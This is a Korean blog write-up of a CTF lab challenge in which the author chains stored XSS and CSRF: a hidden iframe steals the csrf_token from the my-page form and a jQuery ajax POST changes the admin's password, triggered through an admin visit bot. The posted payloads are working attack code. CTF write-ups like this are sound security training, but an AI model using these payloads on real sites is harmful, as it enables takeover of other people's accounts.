2024. 7. 9. 20:53ㆍ정보보안 및 해킹/CTF
1) 마이페이지의 비밀번호 변경기능 확인을 위해 로그인 후 메인페이지에 있는 마이페이지 클릭
2) 변경할 비밀번호에 임의의 비밀번호 입력
3) 입력 후 변경 시 어떤 이벤트가 발생하는지 확인
4) alert()창이 뜨면서 안의 문구는 ‘회원 정보 수정에 성공하셨습니다!’ 라고 뜨는 것 확인 완료
5) 비밀번호 변경 후에도 로그인이 유지되고 있음 확인
6) Burp Suite에서 확인해보니 POST Method로 보내지고 있음을 확인
7) 파라미터는 id, info, pw, csrf_token 총 4가지 파라미터를 전달하고 있음을 확인
csrf_token으로 요청의 주체가 진짜 해당 인물인지 확인 절차를 거칠 것으로 예상되기 때문에 해당 token을 가지고 있어야 함
8) csrf_token의 구성요소는 input tag의 name이 csrf_token으로 구성되어있음 확인
9) 관리자의 비밀번호를 변경하는 로직과 해당 token을 가지고 오는 로직을 동시에 집어넣은 글을 작성하기 위해 게시판 클릭
10) 글쓰기 클릭
11) XSS 및 CSRF 공격에 필요한 특수문자 사용 가능 여부 확인을 위해 < ‘ “ >를 포함한 글 작성
12) 글 작성 후 Burp Suite에서 확인하니 전부 필터링이나 HTML Entity 없이 작성되는 것을 확인
13) 마이페이지의 csrf_token 구성요소를 가져오는 로직 작성 후 글 등록
시행착오 코드
<iframe src="./mypage.php" id="targetFrame"></iframe> //마이페이지를 가져오는 iframe. 추후 숨길 예정
<script>document.addEventListener("DOMContentLoaded", ()=> //DOMContent가 로드되는 것을 기다리는 Event Listener
{ var targetTag = document.getElementById('targetFrame'); //iframe을 변수에 담음
var DOMData = targetTag.contentDocument; //변수에 담은 iframe을 Document화 시킴
var info = DOMData.getElementsByName('csrf_token')[0].value; //Document화 시킨 변수에서 csrf_token 구성요소를 가져옴
if(info) console.log(info); //제대로 가져왔는지 확인 차 console로 찍어보는 디버깅용 코드
});
</script>
14) csrf_token값을 제대로 가지고 오고 있음을 확인
15) 마이페이지의 csrf_token을 가져오는 코드와 마이페이지의 비밀번호를 변경하는 ajax 코드를 결합한 글 등록
시행착오 코드 (일전에 추가한 주석은 생략)
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> //ajax를 사용하는데 필요한 js를 가져오는 코드
<iframe src="./mypage.php" id="targetFrame" style="display:none;"></iframe>
<script>document.addEventListener("DOMContentLoaded", ()=> {
var targetTag = document.getElementById('targetFrame');
var DOMData = targetTag.contentDocument;
var csrftoken = DOMData.getElementsByName('csrf_token')[0].value;
$.ajax({
url: 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', //마이페이지 비밀번호 변경 페이지
data: {'id':'chlqhqodlekt','info':'','pw':'1234', 'csrf_token':csrftoken}, type: 'POST', //마이페이지에 필요한 파라미터 데이터 전달
success: function (result) //ajax 성공 시 태울 부분
{
}
});
});
</script>
16) 마이페이지 비밀번호 변경 시 뜨는 alert()창은 뜨지 않음 확인
17) Burp Suite에서 확인해보니 비밀번호 제대로 변경된 것 확인 완료
18) 해당 코드를 자신의 아이디_admin 이라는 관리자 계정의 비밀번호를 변경하기 위해 id 파라미터를 살짝 수정하여 글 증록
19) 해당 글의 링크를 복사
20) 글의 링크를 관리자가 방문하는 관리자 visit Bot에 붙여넣고 아이디부분에 자신의 아이디_admin 입력 후 Visit을 클릭하여 방문하게 함
21) 관리자 방문 확인
22) 로그인 되어있던 아이디에서 로그아웃
23) 자신의 아이디_admin 그리고 변경한 비밀번호를 입력하여 로그인 시도
23) 공격자의 의도대로 관리자의 비밀번호를 관리자 모르게 변경하여 계정 탈취 성공 확인
'정보보안 및 해킹 > CTF' 카테고리의 다른 글
[Normaltic's CTF] GET Admin 2 (0) | 2024.07.09 |
---|---|
[Normaltic's CTF] GET Admin 1 (0) | 2024.07.09 |
[Normaltic's CTF] Steal Info 2 (0) | 2024.07.05 |
[Normaltic's CTF] Steal Info 1 (0) | 2024.07.05 |
[Normaltic's CTF] Basic Script Prac (0) | 2024.07.05 |